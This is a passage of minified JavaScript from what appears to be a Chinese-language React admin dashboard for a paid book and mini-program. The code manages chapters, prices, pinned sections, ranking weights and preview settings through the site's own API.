I.totalFriend=="number"&&s.jsxs("span",{children:["好友数: ",I.totalFriend]})]})]})]},O)})})}),s.jsxs("div",{className:"flex justify-between items-center px-5 py-3 border-t border-gray-700/60",children:[s.jsxs("span",{className:"text-xs text-gray-400",children:["已选择"," ",i.deviceGroups?i.deviceGroups.split(",").filter(Boolean).length:0," ","台设备"]}),s.jsxs("div",{className:"flex gap-2",children:[s.jsx(te,{type:"button",variant:"outline",className:"border-gray-600 text-gray-200 h-8 px-4",onClick:()=>f(!1),children:"取消"}),s.jsx(te,{type:"button",className:"bg-[#38bdac] hover:bg-[#2da396] text-white h-8 px-4",onClick:()=>f(!1),children:"确定"})]})]})]})})]})})}function cV(t){const e=new Map;for(const c of t){const u=c.partId||"part-1",h=c.partTitle||"未分类",f=c.chapterId||"chapter-1",m=c.chapterTitle||"未分类";e.has(u)||e.set(u,{id:u,title:h,chapters:new Map});const g=e.get(u);g.chapters.has(f)||g.chapters.set(f,{id:f,title:m,sections:[]}),g.chapters.get(f).sections.push({id:c.id,mid:c.mid,title:c.title,price:c.price??1,filePath:c.filePath,isFree:c.isFree,isNew:c.isNew,clickCount:c.clickCount??0,payCount:c.payCount??0,hotScore:c.hotScore??0,hotRank:c.hotRank??0})}const n="part-2026-daily",r="2026每日派对干货";Array.from(e.values()).some(c=>c.title===r||c.title.includes(r))||e.set(n,{id:n,title:r,chapters:new Map([["chapter-2026-daily",{id:"chapter-2026-daily",title:r,sections:[]}]])});const i=Array.from(e.values()).map(c=>({...c,chapters:Array.from(c.chapters.values())})),o=c=>c.includes("序言")?0:c.includes(r)?1.5:c.includes("附录")?2:c.includes("尾声")?3:1;return i.sort((c,u)=>{const h=o(c.title),f=o(u.title);return h!==f?h-f:0})}function dV(){var Kl,ql,Oo;const[t,e]=b.useState([]),[n,r]=b.useState(!0),[a,i]=b.useState([]),[o,c]=b.useState(null),[u,h]=b.useState(!1),[f,m]=b.useState(!1),[g,y]=b.useState(!1),[N,w]=b.useState(""),[v,k]=b.useState([]),[C,E]=b.useState(!1),[T,I]=b.useState({id:"",title:"",price:1,partId:"part-1",chapterId:"chapter-1",content:"",editionStandard:!0,editionPremium:!1,isFree:!1,isNew:!1,isPinned:!1,hotScore:0}),[O,L]=b.useState(null),[R,D]=b.useState(!1),[_,Z]=b.useState(!1),[ne,fe]=b.useState(null),[xe,$]=b.useState(!1),[H,oe]=b.useState([]),[P,K]=b.useState(!1),[V,z]=b.useState(""),[U,le]=b.useState(""),[J,Y]=b.useState(!1),[B,re]=b.useState(""),[ue,ce]=b.useState(!1),[ye,Re]=b.useState(null),[Le,lt]=b.useState(!1),[Tt,ln]=b.useState(!1),[yt,nn]=b.useState({readWeight:.5,recencyWeight:.3,payWeight:.2}),[In,Mt]=b.useState(!1),[Yt,rn]=b.useState(!1),[Rn,pr]=b.useState(1),[Pn,Hn]=b.useState([]),[q,We]=b.useState(!1),[Je,xt]=b.useState([]),[ct,nt]=b.useState(!1),[gt,Rt]=b.useState(20),[gn,mr]=b.useState(!1),[wr,As]=b.useState(!1),[Wr,Is]=b.useState([]),[pe,ge]=b.useState([]),[Pt,On]=b.useState(!1),[Qs,Xs]=b.useState(null),[Wn,Zs]=b.useState(null),[ft,xn]=b.useState({tagId:"",label:"",url:"",type:"url",appId:"",pagePath:""}),[Ur,Ir]=b.useState(null),ds=b.useRef(null),Dn=cV(t),us=t.length,hs=10,Rs=Math.max(1,Math.ceil(Pn.length/hs)),Ma=Pn.slice((Rn-1)*hs,Rn*hs),er=async()=>{r(!0);try{const M=await De("/api/db/book?action=list",{cache:"no-store"});e(Array.isArray(M==null?void 0:M.sections)?M.sections:[])}catch(M){console.error(M),e([])}finally{r(!1)}},Kr=async()=>{We(!0);try{const M=await De("/api/db/book?action=ranking",{cache:"no-store"}),Q=Array.isArray(M==null?void 0:M.sections)?M.sections:[];Hn(Q);const me=Q.filter(Ne=>Ne.isPinned).map(Ne=>Ne.id);xt(me)}catch(M){console.error(M),Hn([])}finally{We(!1)}};b.useEffect(()=>{er(),Kr()},[]);const ea=M=>{i(Q=>Q.includes(M)?Q.filter(me=>me!==M):[...Q,M])},Rr=b.useCallback(M=>{const Q=t,me=M.flatMap(Ne=>{const st=Q.find(mt=>mt.id===Ne.id);return st?[{...st,partId:Ne.partId,partTitle:Ne.partTitle,chapterId:Ne.chapterId,chapterTitle:Ne.chapterTitle}]:[]});return e(me),zt("/api/db/book",{action:"reorder",items:M}).then(Ne=>{Ne&&Ne.success===!1&&(e(Q),ie.error("排序失败: "+(Ne&&typeof Ne=="object"&&"error"in Ne?Ne.error:"未知错误")))}).catch(Ne=>{e(Q),console.error("排序失败:",Ne),ie.error("排序失败: "+(Ne instanceof Error?Ne.message:"网络或服务异常"))}),Promise.resolve()},[t]),Pi=async M=>{if(confirm(`确定要删除章节「${M.title}」吗?此操作不可恢复。`))try{const Q=await Bs(`/api/db/book?id=${encodeURIComponent(M.id)}`);Q&&Q.success!==!1?(ie.success("已删除"),er(),Kr()):ie.error("删除失败: "+(Q&&typeof Q=="object"&&"error"in Q?Q.error:"未知错误"))}catch(Q){console.error(Q),ie.error("删除失败")}},Aa=b.useCallback(async()=>{Mt(!0);try{const M=await De("/api/db/config/full?key=article_ranking_weights",{cache:"no-store"}),Q=M&&M.data;Q&&typeof Q.readWeight=="number"&&typeof Q.recencyWeight=="number"&&typeof Q.payWeight=="number"&&nn({readWeight:Math.max(0,Math.min(1,Q.readWeight)),recencyWeight:Math.max(0,Math.min(1,Q.recencyWeight)),payWeight:Math.max(0,Math.min(1,Q.payWeight))})}catch{}finally{Mt(!1)}},[]);b.useEffect(()=>{Tt&&Aa()},[Tt,Aa]);const Ro=async()=>{const{readWeight:M,recencyWeight:Q,payWeight:me}=yt,Ne=M+Q+me;if(Math.abs(Ne-1)>.001){ie.error("三个权重之和必须等于 1");return}rn(!0);try{const st=await vt("/api/db/config",{key:"article_ranking_weights",value:{readWeight:M,recencyWeight:Q,payWeight:me},description:"文章排名算法权重"});st&&st.success!==!1?(ie.success("排名权重已保存"),ln(!1),er(),Kr()):ie.error("保存失败: "+(st&&typeof st=="object"&&"error"in st?st.error:""))}catch(st){console.error(st),ie.error("保存失败")}finally{rn(!1)}},Ia=b.useCallback(async()=>{nt(!0);try{const M=await De("/api/db/config/full?key=pinned_section_ids",{cache:"no-store"}),Q=M&&M.data;Array.isArray(Q)&&xt(Q)}catch{}finally{nt(!1)}},[]),qr=b.useCallback(async()=>{try{const M=await De("/api/db/persons");M!=null&&M.success&&M.persons&&Is(M.persons.map(Q=>{const me=Q.deviceGroups,Ne=Array.isArray(me)?me.join(","):me??"";return{id:Q.token??Q.personId??"",personId:Q.personId,name:Q.name,label:Q.label??"",ckbApiKey:Q.ckbApiKey??"",ckbPlanId:Q.ckbPlanId,remarkType:Q.remarkType,remarkFormat:Q.remarkFormat,addFriendInterval:Q.addFriendInterval,startTime:Q.startTime,endTime:Q.endTime,deviceGroups:Ne}}))}catch{}},[]),Gr=b.useCallback(async()=>{try{const M=await De("/api/db/link-tags");M!=null&&M.success&&M.linkTags&&ge(M.linkTags.map(Q=>({id:Q.tagId,label:Q.label,url:Q.url,type:Q.type||"url",appId:Q.appId||"",pagePath:Q.pagePath||""})))}catch{}},[]),[Ra,Hl]=b.useState([]),[ta,Ot]=b.useState(""),[Oi,fs]=b.useState(!1),Di=b.useRef(null),Ps=b.useCallback(async()=>{try{const M=await De("/api/admin/linked-miniprograms");M!=null&&M.success&&Array.isArray(M.data)&&Hl(M.data.map(Q=>({...Q,key:Q.key})))}catch{}},[]),Li=Ra.filter(M=>!ta.trim()||M.name.toLowerCase().includes(ta.toLowerCase())||M.key&&M.key.toLowerCase().includes(ta.toLowerCase())||M.appId.toLowerCase().includes(ta.toLowerCase())),Pa=async M=>{const Q=Je.includes(M)?Je.filter(me=>me!==M):[...Je,M];xt(Q);try{await vt("/api/db/config",{key:"pinned_section_ids",value:Q,description:"强制置顶章节ID列表(精选推荐/首页最新更新)"}),Kr()}catch{xt(Je)}},W=b.useCallback(async()=>{mr(!0);try{const M=await De("/api/db/config/full?key=unpaid_preview_percent",{cache:"no-store"}),Q=M&&M.data;typeof Q=="number"&&Q>0&&Q<=100&&Rt(Q)}catch{}finally{mr(!1)}},[]),Pe=async()=>{if(gt<1||gt>100){ie.error("预览比例需在 1~100 之间");return}As(!0);try{const M=await vt("/api/db/config",{key:"unpaid_preview_percent",value:gt,description:"小程序未付费内容默认预览比例(%)"});M&&M.success!==!1?ie.success("预览比例已保存"):ie.error("保存失败: "+(M.error||""))}catch{ie.error("保存失败")}finally{As(!1)}};b.useEffect(()=>{Ia(),W(),qr(),Gr(),Ps()},[Ia,W,qr,Gr,Ps]);const Ve=async M=>{Re({section:M,orders:[]}),lt(!0);try{const Q=await De(`/api/db/book?action=section-orders&id=${encodeURIComponent(M.id)}`),me=Q!=null&&Q.success&&Array.isArray(Q.orders)?Q.orders:[];Re(Ne=>Ne?{...Ne,orders:me}:null)}catch(Q){console.error(Q),Re(me=>me?{...me,orders:[]}:null)}finally{lt(!1)}},Ge=async M=>{m(!0);try{const Q=M.mid!=null&&M.mid>0?`/api/db/book?action=read&mid=${M.mid}`:`/api/db/book?action=read&id=${encodeURIComponent(M.id)}`,me=await De(Q);if(me!=null&&me.success&&me.section){const Ne=me.section,st=Ne.editionPremium===!0;c({id:M.id,originalId:M.id,title:me.section.title??M.title,price:me.section.price??M.price,content:me.section.content??"",filePath:M.filePath,isFree:M.isFree||M.price===0,isNew:Ne.isNew??M.isNew,isPinned:Je.includes(M.id),hotScore:M.hotScore??0,editionStandard:st?!1:Ne.editionStandard??!0,editionPremium:st})}else c({id:M.id,originalId:M.id,title:M.title,price:M.price,content:"",filePath:M.filePath,isFree:M.isFree,isNew:M.isNew,isPinned:Je.includes(M.id),hotScore:M.hotScore??0,editionStandard:!0,editionPremium:!1}),me&&!me.success&&ie.error("无法读取文件内容: "+(me.error||"未知错误"))}catch(Q){console.error(Q),c({id:M.id,title:M.title,price:M.price,content:"",filePath:M.filePath,isFree:M.isFree})}finally{m(!1)}},Nn=async()=>{var M;if(o){y(!0);try{let Q=o.content||"";const me=[new RegExp(`^#+\\s*${o.id.replace(".","\\.")}\\s+.*$`,"gm"),new RegExp(`^#+\\s*${o.id.replace(".","\\.")}[::].*$`,"gm"),new RegExp(`^#\\s+.*${(M=o.title)==null?void 0:M.slice(0,10).replace(/[.*+?^${}()|[\]\\]/g,"\\$&")}.*$`,"gm")];for(const cn of me)Q=Q.replace(cn,"");Q=Q.replace(/^\s*\n+/,"").trim();const Ne=o.originalId||o.id,st=o.id!==Ne,mt=await zt("/api/db/book",{id:Ne,...st?{newId:o.id}:{},title:o.title,price:o.isFree?0:o.price,content:Q,isFree:o.isFree||o.price===0,isNew:o.isNew,hotScore:o.hotScore,editionStandard:o.editionPremium?!1:o.editionStandard??!0,editionPremium:o.editionPremium??!1,saveToFile:!0},{timeout:Hv}),Bt=st?o.id:Ne;o.isPinned!==Je.includes(Bt)&&await Pa(Bt),mt&&mt.success!==!1?(ie.success(`已保存:${o.title}`),c(null),er(),qr(),Gr()):ie.error("保存失败: "+(mt&&typeof mt=="object"&&"error"in mt?mt.error:"未知错误"))}catch(Q){console.error(Q);const me=Q instanceof Error&&Q.name==="AbortError"?"保存超时,请检查网络或稍后重试":"保存失败";ie.error(me)}finally{y(!1)}}},gr=async()=>{if(!T.id||!T.title){ie.error("请填写章节ID和标题");return}y(!0);try{const M=Dn.find(Ne=>Ne.id===T.partId),Q=M==null?void 0:M.chapters.find(Ne=>Ne.id===T.chapterId),me=await zt("/api/db/book",{id:T.id,title:T.title,price:T.isFree?0:T.price,content:T.content||"",partId:T.partId,partTitle:(M==null?void 0:M.title)??"",chapterId:T.chapterId,chapterTitle:(Q==null?void 0:Q.title)??"",isFree:T.isFree,isNew:T.isNew,editionStandard:T.editionPremium?!1:T.editionStandard??!0,editionPremium:T.editionPremium??!1,hotScore:T.hotScore??0,saveToFile:!1},{timeout:Hv});if(me&&me.success!==!1){if(T.isPinned){const Ne=[...Je,T.id];xt(Ne);try{await vt("/api/db/config",{key:"pinned_section_ids",value:Ne,description:"强制置顶章节ID列表(精选推荐/首页最新更新)"})}catch{}}ie.success(`章节创建成功:${T.title}`),h(!1),I({id:"",title:"",price:1,partId:"part-1",chapterId:"chapter-1",content:"",editionStandard:!0,editionPremium:!1,isFree:!1,isNew:!1,isPinned:!1,hotScore:0}),er(),qr(),Gr()}else ie.error("创建失败: "+(me&&typeof me=="object"&&"error"in me?me.error:"未知错误"))}catch(M){console.error(M),ie.error("创建失败")}finally{y(!1)}},Po=M=>{I(Q=>{var me;return{...Q,partId:M.id,chapterId:((me=M.chapters[0])==null?void 0:me.id)??"chapter-1"}}),h(!0)},Qt=M=>{L({id:M.id,title:M.title})},Un=async()=>{var M;if((M=O==null?void 0:O.title)!=null&&M.trim()){D(!0);try{const Q=t.map(Ne=>({id:Ne.id,partId:Ne.partId||"part-1",partTitle:Ne.partId===O.id?O.title.trim():Ne.partTitle||"",chapterId:Ne.chapterId||"chapter-1",chapterTitle:Ne.chapterTitle||""})),me=await zt("/api/db/book",{action:"reorder",items:Q});if(me&&me.success!==!1){const Ne=O.title.trim();e(st=>st.map(mt=>mt.partId===O.id?{...mt,partTitle:Ne}:mt)),L(null),er()}else ie.error("更新篇名失败: "+(me&&typeof me=="object"&&"error"in me?me.error:"未知错误"))}catch(Q){console.error(Q),ie.error("更新篇名失败")}finally{D(!1)}}},ps=M=>{const Q=M.chapters.length+1,me=`chapter-${M.id}-${Q}-${Date.now()}`;I({id:`${Q}.1`,title:"新章节",price:1,partId:M.id,chapterId:me,content:"",editionStandard:!0,editionPremium:!1,isFree:!1,isNew:!1,isPinned:!1,hotScore:0}),h(!0)},Os=(M,Q)=>{fe({part:M,chapter:Q,title:Q.title})},na=async()=>{var M;if((M=ne==null?void 0:ne.title)!=null&&M.trim()){$(!0);try{const Q=t.map(Ne=>({id:Ne.id,partId:Ne.partId||ne.part.id,partTitle:Ne.partId===ne.part.id?ne.part.title:Ne.partTitle||"",chapterId:Ne.chapterId||ne.chapter.id,chapterTitle:Ne.partId===ne.part.id&&Ne.chapterId===ne.chapter.id?ne.title.trim():Ne.chapterTitle||""})),me=await zt("/api/db/book",{action:"reorder",items:Q});if(me&&me.success!==!1){const Ne=ne.title.trim(),st=ne.part.id,mt=ne.chapter.id;e(Bt=>Bt.map(cn=>cn.partId===st&&cn.chapterId===mt?{...cn,chapterTitle:Ne}:cn)),fe(null),er()}else ie.error("保存失败: "+(me&&typeof me=="object"&&"error"in me?me.error:"未知错误"))}catch(Q){console.error(Q),ie.error("保存失败")}finally{$(!1)}}},Wl=async(M,Q)=>{const me=Q.sections.map(Ne=>Ne.id);if(me.length===0){ie.info("该章下无小节,无需删除");return}if(confirm(`确定要删除「第${M.chapters.indexOf(Q)+1}章 | ${Q.title}」吗?将删除共 ${me.length} 节,此操作不可恢复。`))try{for(const Ne of me)await Bs(`/api/db/book?id=${encodeURIComponent(Ne)}`);er()}catch(Ne){console.error(Ne),ie.error("删除失败")}},_i=async()=>{if(!B.trim()){ie.error("请输入篇名");return}ce(!0);try{const M=`part-new-${Date.now()}`,Q="chapter-1",me=`part-placeholder-${Date.now()}`,Ne=await zt("/api/db/book",{id:me,title:"占位节(可编辑)",price:0,content:"",partId:M,partTitle:B.trim(),chapterId:Q,chapterTitle:"第1章 | 待编辑",saveToFile:!1});Ne&&Ne.success!==!1?(ie.success(`篇「${B}」创建成功`),Z(!1),re(""),er()):ie.error("创建失败: "+(Ne&&typeof Ne=="object"&&"error"in Ne?Ne.error:"未知错误"))}catch(M){console.error(M),ie.error("创建失败")}finally{ce(!1)}},Oa=async()=>{if(H.length===0){ie.error("请先勾选要移动的章节");return}const M=Dn.find(me=>me.id===V),Q=M==null?void 0:M.chapters.find(me=>me.id===U);if(!M||!Q||!V||!U){ie.error("请选择目标篇和章");return}Y(!0);try{const me=()=>{const Bt=new Set(H),cn=t.map(Ln=>({id:Ln.id,partId:Ln.partId||"",partTitle:Ln.partTitle||"",chapterId:Ln.chapterId||"",chapterTitle:Ln.chapterTitle||""})),Fi=cn.filter(Ln=>Bt.has(Ln.id)).map(Ln=>({...Ln,partId:V,partTitle:M.title||V,chapterId:U,chapterTitle:Q.title||U})),ms=cn.filter(Ln=>!Bt.has(Ln.id));let Jr=ms.length;for(let Ln=ms.length-1;Ln>=0;Ln-=1){const Gl=ms[Ln];if(Gl.partId===V&&Gl.chapterId===U){Jr=Ln+1;break}}return[...ms.slice(0,Jr),...Fi,...ms.slice(Jr)]},Ne=async()=>{const Bt=me(),cn=await zt("/api/db/book",{action:"reorder",items:Bt});return cn&&cn.success!==!1?(ie.success(`已移动 ${H.length} 节到「${M.title}」-「${Q.title}」`),K(!1),oe([]),await er(),!0):!1},st={action:"move-sections",sectionIds:H,targetPartId:V,targetChapterId:U,targetPartTitle:M.title||V,targetChapterTitle:Q.title||U},mt=await zt("/api/db/book",st);if(mt&&mt.success!==!1)ie.success(`已移动 ${mt.count??H.length} 节到「${M.title}」-「${Q.title}」`),K(!1),oe([]),await er();else{const Bt=mt&&typeof mt=="object"&&"error"in mt?mt.error||"":"未知错误";if((Bt.includes("缺少 id")||Bt.includes("无效的 action"))&&await Ne())return;ie.error("移动失败: "+Bt)}}catch(me){console.error(me),ie.error("移动失败: "+(me instanceof Error?me.message:"网络或服务异常"))}finally{Y(!1)}},Ul=M=>{oe(Q=>Q.includes(M)?Q.filter(me=>me!==M):[...Q,M])},zi=async M=>{const Q=t.filter(me=>me.partId===M.id).map(me=>me.id);if(Q.length===0){ie.info("该篇下暂无小节可删除");return}if(confirm(`确定要删除「${M.title}」整篇吗?将删除共 ${Q.length} 节内容,此操作不可恢复。`))try{for(const me of Q)await Bs(`/api/db/book?id=${encodeURIComponent(me)}`);er()}catch(me){console.error(me),ie.error("删除失败")}},kd=async()=>{var M;if(N.trim()){E(!0);try{const Q=await De(`/api/search?q=${encodeURIComponent(N)}`);Q!=null&&Q.success&&((M=Q.data)!=null&&M.results)?k(Q.data.results):(k([]),Q&&!Q.success&&ie.error("搜索失败: "+Q.error))}catch(Q){console.error(Q),k([]),ie.error("搜索失败")}finally{E(!1)}}},$i=Dn.find(M=>M.id===T.partId),Nt=($i==null?void 0:$i.chapters)??[];return s.jsxs("div",{className:"p-8 w-full",children:[s.jsxs("div",{className:"flex justify-between items-center mb-8",children:[s.jsxs("div",{children:[s.jsx("h2",{className:"text-2xl font-bold text-white",children:"内容管理"}),s.jsxs("p",{className:"text-gray-400 mt-1",children:["共 ",Dn.length," 篇 · ",us," 节内容"]})]}),s.jsxs("div",{className:"flex gap-2",children:[s.jsxs(te,{onClick:()=>ln(!0),variant:"outline",className:"border-amber-500/50 text-amber-400 hover:bg-amber-500/10 bg-transparent",children:[s.jsx(Cu,{className:"w-4 h-4 mr-2"}),"排名算法"]}),s.jsxs(te,{onClick:()=>{const M=typeof window<"u"?`${window.location.origin}/api-doc`:"";M&&window.open(M,"_blank","noopener,noreferrer")},variant:"outline",className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(Ss,{className:"w-4 h-4 mr-2"}),"API 接口"]})]})]}),s.jsx(Dt,{open:u,onOpenChange:h,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white inset-0 translate-x-0 translate-y-0 w-screen h-screen max-w-none max-h-none rounded-none flex flex-col p-0 gap-0",showCloseButton:!0,children:[s.jsx(Lt,{className:"shrink-0 px-6 pt-6 pb-2",children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[s.jsx(hn,{className:"w-5 h-5 text-[#38bdac]"}),"新建章节"]})}),s.jsxs("div",{className:"flex-1 overflow-y-auto min-h-0 px-6 space-y-4 py-4",children:[s.jsxs("div",{className:"grid grid-cols-3 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"章节ID *"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如: 9.15",value:T.id,onChange:M=>I({...T,id:M.target.value})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"价格 (元)"}),s.jsx(se,{type:"number",className:"bg-[#0a1628] border-gray-700 text-white",value:T.isFree?0:T.price,onChange:M=>I({...T,price:Number(M.target.value),isFree:Number(M.target.value)===0}),disabled:T.isFree})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"免费"}),s.jsx("div",{className:"flex items-center h-10",children:s.jsxs("label",{className:"flex items-center cursor-pointer",children:[s.jsx("input",{type:"checkbox",checked:T.isFree,onChange:M=>I({...T,isFree:M.target.checked,price:M.target.checked?0:1}),className:"w-5 h-5 rounded border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"}),s.jsx("span",{className:"ml-2 text-gray-400 text-sm",children:"设为免费"})]})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"最新新增"}),s.jsx("div",{className:"flex items-center h-10",children:s.jsxs("label",{className:"flex items-center cursor-pointer",children:[s.jsx("input",{type:"checkbox",checked:T.isNew,onChange:M=>I({...T,isNew:M.target.checked}),className:"w-5 h-5 rounded border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"}),s.jsx("span",{className:"ml-2 text-gray-400 text-sm",children:"标记 NEW"})]})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"小程序直推"}),s.jsx("div",{className:"flex items-center h-10",children:s.jsxs("label",{className:"flex items-center cursor-pointer",children:[s.jsx("input",{type:"checkbox",checked:T.isPinned,onChange:M=>I({...T,isPinned:M.target.checked}),className:"w-5 h-5 rounded border-gray-600 bg-[#0a1628] text-amber-400 focus:ring-amber-400"}),s.jsx("span",{className:"ml-2 text-gray-400 text-sm",children:"强制置顶到小程序首页"})]})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"文章类型"}),s.jsxs("div",{className:"flex items-center gap-4 h-10",children:[s.jsxs("label",{className:"flex items-center cursor-pointer",children:[s.jsx("input",{type:"radio",name:"new-edition-type",checked:T.editionPremium!==!0,onChange:()=>I({...T,editionStandard:!0,editionPremium:!1}),className:"w-4 h-4 border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"}),s.jsx("span",{className:"ml-2 text-gray-400 text-sm",children:"普通版"})]}),s.jsxs("label",{className:"flex items-center cursor-pointer",children:[s.jsx("input",{type:"radio",name:"new-edition-type",checked:T.editionPremium===!0,onChange:()=>I({...T,editionStandard:!1,editionPremium:!0}),className:"w-4 h-4 border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"}),s.jsx("span",{className:"ml-2 text-gray-400 text-sm",children:"增值版"})]})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"热度分"}),s.jsx(se,{type:"number",step:"0.1",min:"0",className:"bg-[#0a1628] border-gray-700 text-white",value:T.hotScore??0,onChange:M=>I({...T,hotScore:Math.max(0,parseFloat(M.target.value)||0)})})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"章节标题 *"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"输入章节标题",value:T.title,onChange:M=>I({...T,title:M.target.value})})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"所属篇"}),s.jsxs(hl,{value:T.partId,onValueChange:M=>{var me;const Q=Dn.find(Ne=>Ne.id===M);I({...T,partId:M,chapterId:((me=Q==null?void 0:Q.chapters[0])==null?void 0:me.id)??"chapter-1"})},children:[s.jsx(no,{className:"bg-[#0a1628] border-gray-700 text-white",children:s.jsx(fl,{})}),s.jsxs(ro,{className:"bg-[#0f2137] border-gray-700",children:[Dn.map(M=>s.jsx(_r,{value:M.id,className:"text-white hover:bg-[#38bdac]/20 focus:bg-[#38bdac]/20",children:M.title},M.id)),Dn.length===0&&s.jsx(_r,{value:"part-1",className:"text-white hover:bg-[#38bdac]/20 focus:bg-[#38bdac]/20",children:"默认篇"})]})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"所属章"}),s.jsxs(hl,{value:T.chapterId,onValueChange:M=>I({...T,chapterId:M}),children:[s.jsx(no,{className:"bg-[#0a1628] border-gray-700 text-white",children:s.jsx(fl,{})}),s.jsxs(ro,{className:"bg-[#0f2137] border-gray-700",children:[Nt.map(M=>s.jsx(_r,{value:M.id,className:"text-white hover:bg-[#38bdac]/20 focus:bg-[#38bdac]/20",children:M.title},M.id)),Nt.length===0&&s.jsx(_r,{value:"chapter-1",className:"text-white hover:bg-[#38bdac]/20 focus:bg-[#38bdac]/20",children:"默认章"})]})]})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"内容(富文本编辑器,支持 @链接AI人物 和 #链接标签)"}),s.jsx(Ex,{content:T.content||"",onChange:M=>I({...T,content:M}),onImageUpload:async M=>{var st;const Q=new FormData;Q.append("file",M),Q.append("folder","book-images");const Ne=await(await fetch(go("/api/upload"),{method:"POST",body:Q,headers:{Authorization:`Bearer ${localStorage.getItem("admin_token")||""}`}})).json();return((st=Ne==null?void 0:Ne.data)==null?void 0:st.url)||(Ne==null?void 0:Ne.url)||""},persons:Wr,linkTags:pe,placeholder:"开始编辑内容... 输入 @ 可链接AI人物,工具栏可插入 #链接标签"})]})]}),s.jsxs(on,{className:"shrink-0 px-6 py-4 border-t border-gray-700/50",children:[s.jsx(te,{variant:"outline",onClick:()=>h(!1),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:"取消"}),s.jsx(te,{onClick:gr,disabled:g||!T.id||!T.title,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:g?s.jsxs(s.Fragment,{children:[s.jsx(Ke,{className:"w-4 h-4 mr-2 animate-spin"}),"创建中..."]}):s.jsxs(s.Fragment,{children:[s.jsx(hn,{className:"w-4 h-4 mr-2"}),"创建章节"]})})]})]})}),s.jsx(Dt,{open:!!O,onOpenChange:M=>!M&&L(null),children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-md",showCloseButton:!0,children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[s.jsx(Wt,{className:"w-5 h-5 text-[#38bdac]"}),"编辑篇名"]})}),O&&s.jsx("div",{className:"space-y-4 py-4",children:s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"篇名"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:O.title,onChange:M=>L({...O,title:M.target.value}),placeholder:"输入篇名"})]})}),s.jsxs(on,{children:[s.jsx(te,{variant:"outline",onClick:()=>L(null),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:"取消"}),s.jsx(te,{onClick:Un,disabled:R||!((Kl=O==null?void 0:O.title)!=null&&Kl.trim()),className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:R?s.jsxs(s.Fragment,{children:[s.jsx(Ke,{className:"w-4 h-4 mr-2 animate-spin"}),"保存中..."]}):s.jsxs(s.Fragment,{children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),"保存"]})})]})]})}),s.jsx(Dt,{open:!!ne,onOpenChange:M=>!M&&fe(null),children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-md",showCloseButton:!0,children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[s.jsx(Wt,{className:"w-5 h-5 text-[#38bdac]"}),"编辑章节名称"]})}),ne&&s.jsx("div",{className:"space-y-4 py-4",children:s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"章节名称(如:第8章|底层结构)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:ne.title,onChange:M=>fe({...ne,title:M.target.value}),placeholder:"输入章节名称"})]})}),s.jsxs(on,{children:[s.jsx(te,{variant:"outline",onClick:()=>fe(null),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:"取消"}),s.jsx(te,{onClick:na,disabled:xe||!((ql=ne==null?void 0:ne.title)!=null&&ql.trim()),className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:xe?s.jsxs(s.Fragment,{children:[s.jsx(Ke,{className:"w-4 h-4 mr-2 animate-spin"}),"保存中..."]}):s.jsxs(s.Fragment,{children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),"保存"]})})]})]})}),s.jsx(Dt,{open:P,onOpenChange:M=>{var Q;if(K(M),M&&Dn.length>0){const me=Dn[0];z(me.id),le(((Q=me.chapters[0])==null?void 0:Q.id)??"")}},children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-md",showCloseButton:!0,children:[s.jsx(Lt,{children:s.jsx(_t,{className:"text-white",children:"批量移动至指定目录"})}),s.jsxs("div",{className:"space-y-4 py-4",children:[s.jsxs("p",{className:"text-gray-400 text-sm",children:["已选 ",s.jsx("span",{className:"text-[#38bdac] font-medium",children:H.length})," 节,请选择目标篇与章。"]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"目标篇"}),s.jsxs(hl,{value:V,onValueChange:M=>{var me;z(M);const Q=Dn.find(Ne=>Ne.id===M);le(((me=Q==null?void 0:Q.chapters[0])==null?void 